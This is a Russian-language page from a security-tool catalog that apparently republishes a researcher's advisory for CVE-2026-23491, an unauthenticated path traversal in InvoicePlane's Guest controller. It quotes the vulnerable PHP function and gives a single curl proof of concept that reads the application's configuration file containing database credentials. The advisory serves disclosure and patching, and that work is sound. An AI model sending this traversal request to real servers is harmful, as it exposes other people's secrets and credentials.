Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-23491 — CVE-2026-23491 - InvoicePlane подвержен неаутентифицированному обходу пути (Path Traversal) в Guest Controller | Kitploit
Инструменты/GitHubGitHub/lukasz-rybak/cve-2026-23491
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеОбучение и Образование
GitHublukasz-rybak/cve-2026-23491

CVE-2026-23491

CVE-2026-23491 - InvoicePlane подвержен неаутентифицированному обходу пути (Path Traversal) в Guest Controller

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-23491: InvoicePlane — неаутентифицированный обход каталога в контроллере Guest

Обзор

ПолеСведения
CVE IDCVE-2026-23491
КритичностьКРИТИЧЕСКАЯ
Бюллетень безопасностиПросмотреть бюллетень
ОбнаружилLukasz Rybak

Затронутые продукты

  • InvoicePlane/InvoicePlane

Подробности

Краткое описание

В InvoicePlane v1.6.3 в методе get_file контроллера Get модуля Guest существует уязвимость обхода каталога. Уязвимость позволяет неаутентифицированным злоумышленникам читать произвольные файлы на сервере путём манипуляции именем входного файла. Это приводит к раскрытию конфиденциальной информации, включая конфигурационные файлы с учётными данными базы данных.

Детали

Уязвимость расположена в файле application/modules/guest/controllers/Get.php, а именно в функции get_file.

Функция принимает параметр $filename напрямую из URL. Она выполняет urldecode($filename), но не выполняет санитизацию входных данных на предмет последовательностей обхода каталога (например, ../). Затем полученное имя файла конкатенируется с базовым каталогом ($this->targetPath, который соответствует uploads/customer_files/) и передаётся в функцию readfile().

Уязвимый фрагмент кода:

root@kitploit:~
public function get_file($filename): void
{
    $filename = urldecode($filename);
    if ( ! file_exists($this->targetPath . $filename)) {
        $ref = isset($_SERVER['HTTP_REFERER']) ? ', Referer:' . $_SERVER['HTTP_REFERER'] : '';
        $this->respond_message(404, 'upload_error_file_not_found', $this->targetPath . $filename . $ref);
    }

    // ... headers setting content type and disposition ...

    readfile($this->targetPath . $filename);
}

Поскольку $filename контролируется пользователем и не проверяется, злоумышленник может указать строку вида ../../ipconfig.php, чтобы выйти за пределы предназначенного каталога.

PoC

Следующая команда cURL демонстрирует чтение файла ipconfig.php (который находится на два каталога выше стандартного каталога uploads/customer_files/):

root@kitploit:~
curl http://localhost/index.php/guest/get/get_file/..%2f..%2fipconfig.php
изображение

Ожидаемый результат: Сервер отвечает содержимым файла ipconfig.php, в котором содержатся конфиденциальные переменные окружения, такие как DB_PASSWORD и ENCRYPTION_KEY.

Воздействие

Злоумышленники могут прочитать конфигурацию приложения, исходный код и, возможно, другие файлы в системе, доступные для чтения пользователю веб-сервера.

Ссылки

  • https://github.com/InvoicePlane/InvoicePlane/security/advisories/GHSA-88gq-mv54-v3fc
  • https://github.com/InvoicePlane/InvoicePlane/commit/add8bb798dde621f886823065ef1841986543c69

Отказ от ответственности

Данный CVE был ответственно раскрыт в соответствии с практиками координированного раскрытия уязвимостей. Приведённая здесь информация предназначена только для образовательных и защитных целей.

Скачать инструмент